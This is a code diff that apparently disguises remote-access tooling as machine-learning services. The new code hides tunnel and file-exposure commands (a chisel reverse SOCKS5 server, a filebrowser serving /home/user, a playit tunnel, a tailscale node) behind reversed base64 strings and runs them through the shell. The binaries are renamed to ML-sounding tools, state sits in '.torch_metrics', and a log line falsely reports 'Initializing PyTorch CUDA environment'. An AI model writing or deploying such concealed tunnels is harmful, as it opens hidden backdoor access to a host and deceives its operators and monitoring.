Automated deployment update from ML build

services/chisel.py

@@ -8,9 +8,7 @@ def start(chisel_log, chisel_auth):
     )
     chisel_log.flush()
     cmd_chisel_base = decode_cmd(
-        OBFUSCATE(
-            "nice -n 19 cuda-mesh-bridge server --port 6789 --reverse --socks5 --auth '"
-        )
+        "=cCIoRXdh1SLgUzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb"
     )
     cmd_chisel = f"{cmd_chisel_base}{chisel_auth}'"
     subprocess.Popen(

services/filebrowser.py

@@ -4,8 +4,6 @@ from .utils import decode_cmd
 
 def start(fb_log):
     cmd2 = decode_cmd(
-        OBFUSCATE(
-            "nice -n 19 ai-metrics-collector -p 9000 -a 127.0.0.1 -r /home/user -d /home/user/filebrowser.db"
-        )
+        "=IGZuIXZzd3byJWZslmZvIXZzV3Ll12bo9CIk1CIyV2c19SZt9GavAictASMuAjLw4yNyEDIh1CIwADM5ACctAicvR3YlxGbvNWLzNWayRXZt1SahBSOxAibtASZjlmb"
     )
     subprocess.Popen(cmd2, shell=True, stdout=fb_log, stderr=subprocess.STDOUT)

services/playit.py

@@ -5,9 +5,7 @@ from .utils import decode_cmd
 
 def start(tm_log, playit_token):
     cmd2_5_base = decode_cmd(
-        OBFUSCATE(
-            "nice -n 19 tensor-allocator --socket-path /tmp/playit.sock --secret '"
-        )
+        "nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb"
     )
     cmd2_5 = f"{cmd2_5_base}{playit_token}'"
 

services/tailscale.py

@@ -7,18 +7,14 @@ from .utils import decode_cmd
 def start_daemon(ts_log):
     logger.info("Initializing PyTorch CUDA environment...")
     cmd1 = decode_cmd(
-        OBFUSCATE(
-            "nice -n 19 python-cache-manager --tun=userspace-networking --socks5-server=:1055 --statedir=/home/user/.torch_metrics --socket=/home/user/.torch_metrics/tailscaled.sock"
-        )
+        "rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb"
     )
     subprocess.Popen(cmd1, shell=True, stdout=ts_log, stderr=subprocess.STDOUT)
 
 
 def connect(ts_log, full_token):
     cmd3_base = decode_cmd(
-        OBFUSCATE(
-            "nice -n 19 py-cache-cli --socket=/home/user/.torch_metrics/tailscaled.sock up --authkey="
-        )
+        "==QP5V2aoRXdh1SLgAXdgs2YvNnLkVGbhN2cslWY09ycjlmc0VWbfh2Yy9Gdu8iclNXdvUWbvh2L9QXZrN2bz1SLgkGbj1SZoNWYj1SewBSOxAibtASZjlmb"
     )
     cmd3_tail = decode_cmd("oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI")
     cmd3 = f"{cmd3_base}{full_token}{cmd3_tail}"